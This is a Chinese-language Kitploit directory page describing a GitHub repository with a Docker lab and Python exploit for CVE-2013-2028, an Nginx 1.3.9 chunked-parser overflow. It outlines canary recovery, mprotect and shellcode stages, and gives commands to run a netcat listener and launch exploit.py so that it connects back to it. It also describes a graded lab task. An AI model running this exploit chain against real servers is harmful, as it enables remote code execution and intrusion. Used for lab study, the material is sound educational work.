Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2013-2028-Exploit — 基于 Docker 的实验室和针对 CVE-2013-2028 的 Python 漏洞利用,该漏洞是 Nginx 1.3.9 分块解析器整数溢出,涵盖 canary 恢复、mprotect 和 shellcode 执行。 | Kitploit
工具/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
漏洞分析漏洞利用Shellcode安全虚拟化渗透测试学习与教育Payload 开发二进制利用实验室与实践
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

基于 Docker 的实验室和针对 CVE-2013-2028 的 Python 漏洞利用,该漏洞是 Nginx 1.3.9 分块解析器整数溢出,涵盖 canary 恢复、mprotect 和 shellcode 执行。

7小时58分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2013-2028 漏洞利用

漏洞详情

受影响软件: Nginx 1.3.9

受影响函数: ngx_http_parse_chunked

CVE-2013-2028 是 Nginx 的 HTTP 分块传输编码解析器中的一个整数溢出漏洞。在本实验环境所针对的条件下,该漏洞可导致内存破坏,并可用于影响控制流。

本仓库提供了一个基于 Docker 的隔离环境,用于研究该漏洞并复现漏洞利用流程。

漏洞利用详情

完整的漏洞利用包含四个主要阶段:

  1. 栈 Canary 恢复

    通过逐字节探测恢复栈 Canary。

  2. 内存保护操作

    计算相关地址信息,并构造所需的控制流序列,以对受控内存区域调用 mprotect。

  3. Shellcode 放置

    将 payload 复制到受控内存区域。

  4. 控制流转移

    将执行流转移到受控内存区域。

完整的漏洞利用演示了从触发存在漏洞的解析器,到内存破坏与控制流操纵,最终实现受控代码执行的整个过程。

环境要求

  • Docker
  • Docker Compose
  • Python 3
  • exploit.py 所需的 Python 依赖
  • 完整实验所用监听器所需的 netcat

复现步骤

1. 启动监听器

在宿主机上,于配置的端口启动监听器:

root@kitploit:~
nc -lvp 4345

运行漏洞利用时,请使用相同的端口作为 --listenerport(-lp)参数。

2. 启动存在漏洞的 Nginx 容器

构建并启动 Docker 环境:

root@kitploit:~
sudo docker-compose up --build

存在漏洞的目标在容器内运行 Nginx 1.3.9。

可通过以下命令验证 Nginx 版本:

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. 运行完整漏洞利用

运行:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

该漏洞利用会先执行 Canary 恢复和 payload 构造阶段,然后将最终 payload 发送至存在漏洞的目标。

如果已有先前恢复的 Canary,可通过以下方式提供:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. 中间任务

本仓库还提供了一个中间任务,用于评估漏洞研究工作流的进展情况。

运行:

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

该中间任务直接针对正在运行的 Docker 目标执行检查。它不依赖手动创建的证据文件或手动提供的 JSON 断言。

该任务验证两个方面:

漏洞识别

该任务:

  • 确认目标容器正在运行。
  • 检测已安装的 Nginx 版本。
  • 判断检测到的版本是否对应实验所使用的存在漏洞的 Nginx 版本。

配置验证

该任务:

  • 确认 Docker 容器正在运行。
  • 确认 Nginx 正在运行。
  • 使用 nginx -t 验证 Nginx 配置。

配置检查确认 Nginx 配置在语法上有效。这本身不应被解释为 CVE-2013-2028 已被缓解的证明。

示例输出:

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

中间任务将这些运行时检查的结果存储在:

root@kitploit:~
grader_state.json

该文件仅用于持久化检查所产生的状态。它并非漏洞判定的来源。

Docker 目标

本实验环境有意使用 Nginx 1.3.9,这是一个受 CVE-2013-2028 影响的旧版 Nginx 发行版。

该 Docker 环境为漏洞研究和漏洞利用练习提供了一个隔离目标。应仅通过实验配置所暴露的接口访问该存在漏洞的服务。

免责声明

本仓库仅用于隔离实验环境中的教育和经授权的安全研究目的。

请勿对您不拥有或未获得明确授权测试的系统运行该漏洞利用。

下载工具